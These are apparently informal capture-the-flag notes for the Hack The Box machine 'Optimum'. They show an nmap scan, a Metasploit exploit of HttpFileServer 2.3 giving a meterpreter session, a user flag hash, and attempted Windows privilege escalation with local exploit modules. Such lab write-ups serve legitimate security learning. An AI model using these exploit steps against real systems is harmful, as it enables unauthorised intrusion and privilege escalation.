Win: Optimum

nmap -sC -sV -A -oA nmapscan -vvvv 10.10.10.8

Nmap scan report for 10.10.10.8

PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 **HttpFileServer httpd 2.3**

Running (JUST GUESSING): Microsoft Windows Vista (88%)
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 72.76 ms 10.10.14.1
2 72.78 ms 10.10.10.8

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Wed Mar 4 05:18:08 2020 -- 1 IP address (1 host up) scanned in 25.00 seconds

root@kali:~/htb/optimum# searchsploit http file server

msfconsole
use exploit/windows/http/rejetto_hfs_exec
set rhosts
run

cat user.txt.txt
d0c39409d7b994a9a1389ebf38ef5f73

meterpreter > sysinfo
Computer : OPTIMUM
OS : Windows 2012 R2 (6.3 Build 9600).
Architecture : **x64**
System Language : el_GR
Domain : HTB
Logged On Users : 1
Meterpreter : x86/windows

post/multi/recon/local_exploit_suggester

*] 10.10.10.8 - Collecting local exploits for x86/windows...
[*] 10.10.10.8 - 29 exploit checks are being tried...
[+] 10.10.10.8 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
not in admins group so the first wont work
[+] 10.10.10.8 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[*] Post module execution completed

this exploit didnot work :(((

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc